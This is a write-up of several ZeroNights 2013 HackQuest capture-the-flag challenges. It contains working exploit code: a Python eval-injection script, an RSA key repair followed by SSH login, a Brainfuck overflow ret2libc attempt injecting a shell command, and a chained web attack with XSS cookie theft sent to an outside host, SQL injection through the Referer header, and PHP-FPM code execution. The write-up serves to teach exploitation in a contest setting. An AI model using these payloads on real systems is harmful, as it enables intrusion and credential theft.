ZeroNights 2013 HackQuest write-up

Hint: flag is not a frag: once you've got it, you can get one more...

Here goes a small write-up on some challenges from ZeroNights hackquest (21-27.10.13).
Each day was new task, each winner (one per day) was granted an invite. I got one invite and was 2nd to solve a couple of other challenges =) Also, I've made some advance in another 2 challenges but hadn't time to finish them.

Task #1 ("Hello, Snake!", PPC)

We're given an address and port of some service. Try fuzz it a bit, but "no bullshit allowed".
Notice that it responses with some integers, if we send an integer. Seems like it's a factorial. But it seems like there's no any game to solve (like in usual PPC contests).
Fuzz more and realize that it's Python! Payload "ord('a')" results with the number, which is a factorial of 97.

So, we can evaluate any Python code, take the resulting string and get the factorial for each of it's bytes.
Then we can restore initial numbers by brute force.

First get the value of str(dir()). It contains the name of variable ZERO_NIGHTS_FLAG.

Exploit:
Код:
import math
import socket

def revfact(n):
    for k in xrange(256): #can be optimized, but who cares?.. Even threading can be applied
        if math.factorial(k) == n:
            return k

WAT = 'str(dir())'
WAT = 'ZERO_NIGHTS_FLAG'
PAYLOAD = 'ord(%s[%s])'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('184.175.99.226', 9093))
print s.recv(128)
res = ''
for i in xrange(40):
    print PAYLOAD % (WAT, i)
    s.send(PAYLOAD % (WAT, i))
    res += chr(revfact(int(s.recv(4096))))
    print res

#5c5e0e97aba34d05bb3778110ebae6d2
Task #2 ("A problem", Reverse engineering)

We're given the following:
Цитата:
What mathematical problem criteria is provided by given file? Decrypt rP4XPry8FI3bQZoUViEy+a36nWr90RGF2BRyfF0+UJ4+4uM= with correct key specified by criteria and post answer string.
Observe the file with strings and see something like this:
Код:
func(*time.Time, time.Duration) time.Time
Clearly, it's the Go language.

I definitely haven't been ready to deal with Go binary. Thus, I waited 22-23 hours before a plenty of hints were published xD
You can find them on the page: http://hackquest.zeronights.org/archive/2013/#day2.
Some of them clearly state, that the encryption algorithm is RC4.

Pay attention to this hint:
Цитата:
argv[1]=A, argv[2]=B, where A < B and A > 0 and B - A <= 4, and looks like there are more agrs, and one of them will make the criteria result constant! FuZZ more.
And this: .

It's 15-puzzle! The arguments of binary define the configuration of puzzle, and the binary checks this criteria.
But it also generates the keys for RC4 encryption. Try to run this shit:
Код:
$ wine a_problem_criteria_solver.exe 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 2>/dev/null
.:[ Welcome to ZeroNights 0x03 Reverse Puzzle ]:.
Send solving problem name as flag to complete the task.
8 
Result: OK
$ wine a_problem_criteria_solver.exe 5 9 3 4 5 6 7 8 9 10 11 12 13 14 15 2>/dev/null
.:[ Welcome to ZeroNights 0x03 Reverse Puzzle ]:.
Send solving problem name as flag to complete the task.
9 11 10 5 
Result: OK
Notice the part marked bold -- these numbers are the bytes of keys!
After some fuzzing I've realized that the only arguments, that are used in key generation, are the 1st, 2nd and 15th.
Let's fuzz them and extract all the keys:
PHP код:
<?
$r 
= array();
for(
$k=1;$k<16;++$k)
    for(
$i=1;$i<13;++$i)
        for(
$j=$i+1;$j<$i+5;++$j)
        {
            
$res shell_exec("wine a_problem_criteria_solver.exe $i $j 1 1 1 1 1 1 1 1 1 1 1 1 $k 2>/dev/null");
            
preg_match('/\n(\d\s?)+\n/'$res$r);
            echo 
trim($r[0]) . "\n";
        }
Launch it like this:
Код:
php 2.php > ksps
And then output all possible decryptions:
Код:
def rc4crypt(data, key):
    x = 0
    box = range(256)
    for i in range(256):
        x = (x + box[i] + ord(key[i % len(key)])) % 256
        box[i], box[x] = box[x], box[i]
    x = 0
    y = 0
    out = []
    for char in data:
        x = (x + 1) % 256
        y = (y + box[x]) % 256
        box[x], box[y] = box[y], box[x]
        out.append(chr(ord(char) ^ box[(box[x] + box[y]) % 256]))
    
    return ''.join(out)

keys = open('ksps')
cipher = 'rP4XPry8FI3bQZoUViEy+a36nWr90RGF2BRyfF0+UJ4+4uM='.decode('base64')

for key in keys:
    print rc4crypt(cipher, ''.join([chr(int(x))for x in key.strip().split(' ')]))
Now launch:
Код:
python 2.py | strings
And get the flag in the bunch of junk:
Код:
#zjw.
WTFCryptoPuzzle15forZeroNights2013!
(i-u
dQmiB1
Task #4 ("wheeeeeeeeeeeeeeeeee", Misc) (not solved)

Цитата:
Here we go! you got mystic file and address
80.70.234.118
There's opened port 40033 with an OpenSSH service binded on it. The given file seems very much like a certificate. Let's observe it.
Код:
$ openssl rsa -in jhonn -text
Private-Key: (2048 bit)
modulus:
    00:ba:b0:7c:be:95:08:3a:25:c2:6d:1e:20:a4:12:
    89:07:ee:67:c6:8e:87:e5:01:1e:6c:1c:13:95:1b:
    1b:b8:88:91:7f:7c:25:14:f9:e1:a5:43:bb:85:ff:
    72:36:89:f6:be:60:6e:4d:28:dc:2a:4c:8a:78:cd:
    c1:0a:a3:c5:76:3d:b4:0d:87:80:e7:0a:9a:a6:0e:
    7d:6b:6c:7c:c6:94:bc:13:c1:2f:0a:dd:76:f8:19:
    24:ea:5b:b5:3b:ab:55:4b:7a:ab:68:c2:cb:b5:21:
    d7:31:b2:a3:23:ad:04:ac:de:c9:d2:23:9e:ae:ff:
    99:9f:b1:f7:d2:d7:7a:7e:1e:03:6c:b2:d8:59:74:
    95:47:04:7a:b4:77:9c:43:b4:53:ee:14:b7:7e:19:
    e7:44:bb:55:59:ca:ed:eb:87:ab:77:87:f6:96:7a:
    35:6a:70:6b:1d:7c:19:83:de:fc:b2:f1:76:c5:89:
    5e:fc:13:dd:ed:60:d6:c3:3e:ca:83:6b:f9:dc:90:
    ba:bb:a6:2d:62:6b:86:ca:91:62:52:e6:73:ef:22:
    90:21:bb:3d:3f:12:4c:eb:62:d4:0a:46:55:23:12:
    e3:c8:60:2a:1d:16:36:68:4b:c8:b2:f3:91:db:94:
    c9:19:a7:f0:d3:0d:9e:79:cf:af:08:32:e2:9f:0e:
    da:fb
publicExponent: 65537 (0x10001)
privateExponent:
    72:7f:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:08:
    79
prime1:
    00:f4:81:62:ae:21:8b:c3:fe:d3:14:2e:d8:b1:d0:
    3a:29:3f:48:28:67:94:e1:c8:7b:35:21:82:18:de:
    30:f2:72:1f:9c:c9:80:3a:cf:50:15:45:7c:07:e8:
    dc:8d:8c:31:f7:56:06:c9:a2:51:d0:c9:a7:1d:8c:
    6c:08:aa:36:c4:f7:c5:51:ff:34:7a:57:ee:83:3f:
    6e:6f:b7:f7:47:3e:ec:c3:0e:ba:0d:1d:71:c1:63:
    ef:59:ea:d9:37:64:78:9c:5f:98:cc:20:fd:ca:2a:
    ff:11:64:9d:45:37:54:0b:00:1c:68:c5:d0:38:fb:
    f5:36:b7:56:b3:70:21:ab:cd
prime2: 0
exponent1: 0
exponent2: 0
coefficient: 0
writing RSA key
-----BEGIN RSA PRIVATE KEY-----
MIICoQIBAAKCAQEAurB8vpUIOiXCbR4gpBKJB+5nxo6H5QEebBwTlRsbuIiRf3wl
FPnhpUO7hf9yNon2vmBuTSjcKkyKeM3BCqPFdj20DYeA5wqapg59a2x8xpS8E8Ev
Ct12+Bkk6lu1O6tVS3qraMLLtSHXMbKjI60ErN7J0iOerv+Zn7H30td6fh4DbLLY
WXSVRwR6tHecQ7RT7hS3fhnnRLtVWcrt64erd4f2lno1anBrHXwZg978svF2xYle
/BPd7WDWwz7Kg2v53JC6u6YtYmuGypFiUuZz7yKQIbs9PxJM62LUCkZVIxLjyGAq
HRY2aEvIsvOR25TJGafw0w2eec+vCDLinw7a+wIDAQABAoIBAHJ/AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAACHkCgYEA9IFiriGLw/7TFC7YsdA6KT9IKGeU4ch7NSGCGN4w8nIfnMmAOs9Q
FUV8B+jcjYwx91YGyaJR0MmnHYxsCKo2xPfFUf80elfugz9ub7f3Rz7sww66DR1x
wWPvWerZN2R4nF+YzCD9yir/EWSdRTdUCwAcaMXQOPv1NrdWs3Ahq80CAQACAQAC
AQACAQA=
-----END RSA PRIVATE KEY-----
Clearly, it's corrupted. q=0, p does not divide n, and the most bits of d are 0.
Notice that the last 2 bytes of p are "\xab\xcd". Seems like they were altered.
Let's brute force them:
Код:
n = int('00bab07cbe95083a25c26d1e20a4128907ee67c68e87e5011e6c1c13951b1bb888917f7c2514f9e1a543bb85ff723689f6be606e4d28dc2a4c8a78cdc10aa3c5763db40d8780e70a9aa60e7d6b6c7cc694bc13c12f0add76f81924ea5bb53bab554b7aab68c2cbb521d731b2a323ad04acdec9d2239eaeff999fb1f7d2d77a7e1e036cb2d859749547047ab4779c43b453ee14b77e19e744bb5559caedeb87ab7787f6967a356a706b1d7c1983defcb2f176c5895efc13dded60d6c33eca836bf9dc90babba62d626b86ca916252e673ef229021bb3d3f124ceb62d40a46552312e3c8602a1d1636684bc8b2f391db94c919a7f0d30d9e79cfaf0832e29f0edafb',16)
pstr = '00f48162ae218bc3fed3142ed8b1d03a293f48286794e1c87b35218218de30f2721f9cc9803acf5015457c07e8dc8d8c31f75606c9a251d0c9a71d8c6c08aa36c4f7c551ff347a57ee833f6e6fb7f7473eecc30eba0d1d71c163ef59ead93764789c5f98cc20fdca2aff11649d4537540b001c68c5d038fbf536b756b37021%s%s'

for i in xrange(256):
    for j in xrange(256):
        p = int(pstr % (hex(i)[2:], hex(j)[2:]), 16)
        if p * (n / p) == n:
            print p
            quit()
Launch:
Код:
$ python 4.py
171697539285831523692226999662138092620831833827957349488002519165960398130299933934269832726364693155100320732247043657716541299961928302225100698657479859635670920438781239585514179356458605050339159152558344462499742099668901642111983983262726407579562253267979238004944980534181443089818446791691189976599
Ok, we've got the right factor. Let's generate the certificate now:
Код:
from Crypto.PublicKey import RSA

d = 14454274499340654385634659599144426848963590184492077860836161094854495597442340030116797674427421660028258924396573236227384280215925113686092328482521025192741558775915223500584546607878232404503967727783248356263909978260101241333274126617817142605493464310778643753595481877770536669350647251629477019210105616726300820869895236359121954540437961036538128507303158364450914374957452268904814668416361669402810935110126732584371522976038512824261070437422276150410258095622666540843420987877151571865403384614974529794943490373071492554664388388691344587268407436881629233804163203217804137828463287548424939374713L
e = 65537L
p = 171697539285831523692226999662138092620831833827957349488002519165960398130299933934269832726364693155100320732247043657716541299961928302225100698657479859635670920438781239585514179356458605050339159152558344462499742099668901642111983983262726407579562253267979238004944980534181443089818446791691189976599L
q = 137260871324117519919854673505040120036655600993076177008674980102124465564000936045080099947764366566382440842810919589316306124985888006956347925542816622099499123396175069879447778886995782020855684197668823992852114315000799412493246892163174295599589070773202875739665765947746561152137953563435871493309L
n = p * q
key = RSA.construct((n, e, d, p, q))
print key.exportKey('PEM')
Get certificate, put it in ~/.ssh/id_rsa and connect:
Код:
$ ssh jhonn@80.70.234.118 -p40033
Welcome to Ubuntu 12.04.3 LTS (GNU/Linux 3.8.0-29-generic i686)

 * Documentation:  https://help.ubuntu.com/

Last login: Thu Oct 24 22:54:37 2013 from *censored*
jhonn@station:~$
This is not the end, the flag is in a TrueCrypt container, but I gave up, since it took more than hour of useless brute force to realize, that there was some server fault at the start of the challenge, which didn't allow me to connect with the login "jhonn" (which is the name of initial file).

Task #6 (Exploiting) (not solved)

Цитата:
Try to bypass all security measures and write exploit using unknown language to read the contents of /tmp/flag.txt
There's a web interface with file uploading form and the examples of files. Clearly they are executed, since the web application outputs "Zeronights", when we upload one of them. They look like WhiteSpace programs, but WhiteSpace intepreter does not recognise them.
After some struggling one can realise it's obfuscated BrainFuck! Each command of BrainFuck is respresented as the sequence of several whitespaces, and the delimiter is \r.

Obviously, we've got a deal with the overflow of BrainFuck tape, 'cause BrainFuck code is directly translated into C, and the buffer size is constant.
It becomes more obvious, when we encode in such a way the BrainFuck code ">."x100500 (which shifts the pointer and prints out dereferenced value 100500 times) and run it on the server. It outputs a lot of shit and enviromental variables. So, it outputs all content of stack.

But our enemies are NX, Stack Canary and ASLR. Stack Canary doesn't make sense since we can write to any address (BrainFuck is Turing-complete).

NX doesn't make much sense since the authors gave us libc.so binary, so, we can obtain libc functions' offsets and use ret2libc technique.
But ASLR fucking makes sense. Not only stack is randomized, but so is libc.
At this point I've fallen asleep, but authors put the flag into file name, and vos has solved the task, using the string "ls" from libc and brute force of libc address (which is not too much).

Seems like it's quite easy to defeat the remaining randomness using the fact, that the return function should be __libc_start_main(). Thus, we can adjust return address (substract the offset of __libc_start_main and add the address of __libc_system) so that it will point on system().
But it didn't work for me =( Here's some version of my exploit:
PHP код:
<?php

//$code = "++++++++++++++++++[>++>+++>++++>+++++>++++++>+++++++<<<<<<-]++++++++++++++++++>>>>>+++++.++++++.<+++++++++++.<<<<--------.>>>>----.>----.<+++.<<<<.>>>>>>----.--.<<-.<<<<.>+.>------.++++++++.>>>>.<<<<<<.>-.>>>--...";
$clear '[-]';
$code '';
$cmd ';cat /tmp/flag.txt;';
for(
$i=0;$i<strlen($cmd);++$i)
    
$code .= $clear str_repeat('+'ord($cmd[$i])) . '>';
$trans str_repeat('>'9999 strlen($cmd) + 4);
//0003e5c0 <__libc_system> + rand_offset = ~ 0xb75e35c0
$code .= $trans;
/*$code .= $clear . str_repeat('+', 0xc0) . '>';
$code .= $clear . str_repeat('+', 0x35) . '>';
$code .= $clear . str_repeat('+', 0x5e) . '>';
$code .= $clear . str_repeat('+', 0xb7) . '>';*/
//0001c860 <__libc_start_main>
$code .= $clear str_repeat('+'0x60) . '>';
$code .= $clear str_repeat('+'0xb0) . '>';
$code .= $clear str_repeat('+'0x02) . '>';
//$code .= $clear . str_repeat('+', 0xb7) . '>';
//00034300 <exit> + rand_offset = ~ 0xb75d9300
$code .= $clear '>';
$code .= $clear str_repeat('+'0x93) . '>';
$code .= $clear str_repeat('+'0x5d) . '>';
$code .= $clear str_repeat('+'0xb7) . '>';
/*//esp 0xffffaf3c
$code .= $clear . str_repeat('+', 0x3c) . '>';
$code .= $clear . str_repeat('+', 0xaf) . '>';
$code .= $clear . str_repeat('+', 0xff) . '>';
$code .= $clear . str_repeat('+', 0xff) . '>';*/
//'help' 0x00161b06 + rand_offset = 0xb7706b06
/*$code .= $clear . str_repeat('+', 0x06) . '>';
$code .= $clear . str_repeat('+', 0x6b) . '>';
$code .= $clear . str_repeat('+', 0x70) . '>';
$code .= $clear . str_repeat('+', 0xb7) . '>';*/
$code .= $clear str_repeat('+'0x06) . '>';
$code .= $clear str_repeat('+'0x6b) . '>';
$code .= $clear str_repeat('+'0x70) . '>';
$code .= $clear str_repeat('+'0xb7) . '>';

//$code = str_repeat('>.', 10500);

$x = array(">" => 1,"<" => 2,"+" => 3,"-" => 4,"." => 5,"," => 6,"[" => 7,"]" => 8);
$out "";
for (
$i 0$i strlen($code); $i++) {
    
$out .= "\x09".str_repeat("\x20",$x[$code[$i]])."\x09";
}

//echo $out;

for($i=0;$i<3000;++$i) {
$opts = array(
  
'http'=>array(
    
'method'=>"POST",
    
'header'=>"Content-Type: multipart/form-data; boundary=---------------------------212711010723928\r\n",
    
'content'=>"-----------------------------212711010723928
Content-Disposition: form-data; name=\"code\"; filename=\"test.ic\"
Content-Type: application/octet-stream

$out
-----------------------------212711010723928--"
  
)
);

$context stream_context_create($opts);
echo 
file_get_contents('http://184.175.99.226:9090/run'false$context);
exit();
}
Task #7 ("Quake 3", Web hacking)

Цитата:
ZeroNights organizers like to play in Quake 3. May be you join us?
http://80.70.234.119/
There's a real Quake server (just for fun) and some web application.
First thing to notice is URL rewrite. Dirbuster finds scripts q3.php and downloadFile.php. LibPyWebHack gives us their parameters (page and id), but fuzzing gives nothing =(

Second thing to notice is that the frontend is NginX, and its configuration contains the PHP-FPM RCE vulnerability (again, LibPyWebHack can detect it): we can execute any file, like if it was a PHP scenario, just by appending "/.php" to the URL. It's easy to detect, 'cause when you launch something like "/default.css/.php", the Content-Type will change to text/html.b

Then notice the following in the HTML code of gallery page:
Код HTML:
<div id="content">
<!-- <a href = "?add">Suggest material</a> --><
Browse to /gallery/?add and get the form for submitting new material. What if XSS? Send '"></textarea><img src=http://ahack.ru/?ololo>' and soon get the referer! The "administrator" has visited our infected page. Now try usual cookie-theft: '"><script>img = new Image();img.src='http://ahack.ru/?'+document.cookie;</script>' and we have cookies:
Код:
80.70.234.119 - - [27/Oct/2013:21:11:40 +0400] "GET /?ololoshka=hash=71dd6468ae0346a2dfbfa222f2a4a3a3e3f2061bc848876d6ea0f6cec4a1886d6f1159b73e4180f74ff13acccadeee6070ebf4cf4e500e7e9c22e83bd8e42b34 HTTP/1.1" 200 14498 "http://80.70.234.119/admin/?mode=materials&review" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.21 (KHTML, like Gecko) Qt/4.8.4 Safari/537.21"
But the cookie is useless, seems like it's not the only one, and other cookies have HttpOnly flag enabled. But wait, this cookie is SHA512 hash!
Buy it at cmd5.ru: password is psyDZI242

Now browse to /admin/ and type the password. There's an interfaces for adding new images to the gallery. We'd like to add an image with PHP payload and then execute it via "/.php" trick. But we don't know the directory, where images are uploaded (they can be accessed via /download/#ID# URL).
Brute force gives only the directory /materials/.
But we can notice another functionality of administrative interfaces -- the list of referers. What about SQL-injection in Referer HTTP header? Rights, that's it -- and SQL-injection in INSERT statement. The result of query can be viewed in /admin/?mode=refs.
And it gives us the real names of uploaded images (the extension .jpeg can be guessed, and the directory is /materials/).

Now chain everything in exploit: 1) log in as admin, 2) upload an image with PHP payload, 3) get its name via SQL-injection in Referer-header, 4) execute any code.
Here's it:
PHP код:
<?
$pay 
file_get_contents('/var/www/test.jpg');
$opts = array(
  
'http'=>array(
    
'method'=>"POST",
    
'header'=>"Content-Type: multipart/form-data; boundary=---------------------------212711010723928\r\n" .
                
"Cookie: hash=71dd6468ae0346a2dfbfa222f2a4a3a3e3f2061bc848876d6ea0f6cec4a1886d6f1159b73e4180f74ff13acccadeee6070ebf4cf4e500e7e9c22e83bd8e42b34; is_truuuuuu3_admin=1\r\n",
    
'content'=>"-----------------------------212711010723928
Content-Disposition: form-data; name=\"image\"; filename=\"test.jpg\"
Content-Type: application/octet-stream

$pay
-----------------------------212711010723928--"
  
)
);

$context stream_context_create($opts);
file_get_contents('http://80.70.234.119/admin/?mode=materials&add'false$context);

$opts = array(
  
'http'=>array(
    
'method'=>"GET",
    
'header'=>"Referer: http://asd/qwe',1),(NULL,(select group_concat(path_url) from materials),1) -- a\r\n" .
                
"Cookie: hash=71dd6468ae0346a2dfbfa222f2a4a3a3e3f2061bc848876d6ea0f6cec4a1886d6f1159b73e4180f74ff13acccadeee6070ebf4cf4e500e7e9c22e83bd8e42b34; is_truuuuuu3_admin=1\r\n",
  )
);

$context stream_context_create($opts);
file_get_contents('http://80.70.234.119/'false$context);
$inj file_get_contents('http://80.70.234.119/admin/?mode=refs'false$context);
$r = array();
preg_match('/f8d7e4d3c8d55f7df11b7cb39b83f198,(\w+)/'$inj$r);
echo 
file_get_contents('http://80.70.234.119/materials/' $r[1] . '.jpeg/.php?test=system("cat+/home/znhackquestq3/flag.txt");');